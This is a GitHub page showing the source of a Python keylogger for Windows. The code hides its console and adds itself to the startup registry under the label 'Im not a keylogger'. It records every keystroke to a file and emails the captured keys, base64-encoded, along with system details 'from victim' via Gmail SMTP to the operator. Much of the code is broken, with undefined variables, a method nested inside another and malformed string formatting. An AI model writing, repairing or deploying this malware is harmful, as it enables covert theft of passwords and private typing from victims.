forked from filipherle/PythonKeylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPythonKeylogger.pyw
169 lines (143 loc) · 4.73 KB
/
PythonKeylogger.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import win32api
import win32console
import win32gui
import pythoncom,pyHook
import smtplib
import base64, os, sys, re, string
import sqlite3
import socket
import platform
import uuid
from _winreg import *
class Keylogger(object):
def __init__(self):
self.fp = None
self.file_name = None
self.new_file_path = None
self.keyVal = None
self.key2change = None
# I/O variables
self.filename = None
self.fo = None
self.f = None
# Email settings
# Change these #
self.sender = '[email protected]'
self.reciever = '[email protected]'
self.password = 'your_password'
self.message = None
# Don't change this
self.marker = "AUNIQUEMARKER"
self.win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
#Body email
self.body = """
New stuff info from victim
===========================
Name: {0}
FQDN: {1}
System Platform: {2}
Machine: {3}
Node: {4}
Platform: {5}
Processor: {6}
System OS: {7}
Release: {8}
Version: {9}
""".format(socket.gethostname(),
socket.getfqdn(),
sys.platform,
platform.machine(),
platform.node(),
platform.platform(),
platform.processor(),
platform.system(),
platform.release(),
platform.version())
self.part1 = """
From: Victim <[email protected]>
To: Filip <[email protected]>
Subject: New Info From Keylogger
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary={0}
--{0}
""".format(self.marker)
self.part2 = """
Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""".format(self.body, self.marker)
self.part3 = """
Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""".format(filename, filename, encodedcontent, marker)
# Other settings
self.points = 0
# This will add the file to the startup registry key
def addStartup(self):
self.fp = os.path.dirname(os.path.realpath(__file__))
self.file_name = sys.argv[0].split('\\')[-1]
self.new_file_path = fp + '\\' + file_name
self.keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
self.key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ,
new_file_path)
def createtxtfile(self):
open('output.txt','a').close()
print "Running..."
def OnKeyboardEvent(self, event):
#Ctrl-E
self.points += 1
print points
if event.Ascii==5:
f=open('output.txt','r+')
f.close()
os.remove("output.txt")
sys.exit(0)
if event.Ascii !=0 or 8:
f=open('output.txt','r+')
buffer=f.read()
f.close()
f=open('output.txt','w+')
keylogs=chr(event.Ascii)
# if press ENTER
if event.Ascii==13:
keylogs='\n'
if event.Ascii==32:
keylogs=' '
buffer+=keylogs
f.write(buffer)
f.close()
if points == 100: ## how may letters typed
points = 0
filename = "output.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
def messagecompose(self):
self.message = self.part1 + self.part2 + self.part3
try:
fo.close()
f.close()
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
print "Success"
os.remove("output.txt")
f = open('output.txt','w+')
f.close()
except Exception as e:
print "Error: {}".format(e)
# Main
if __name__ == '__main__':
obj = Keylogger()
obj.addStartup()
hm = pyHook.HookManager()
hm.KeyDown = obj.OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()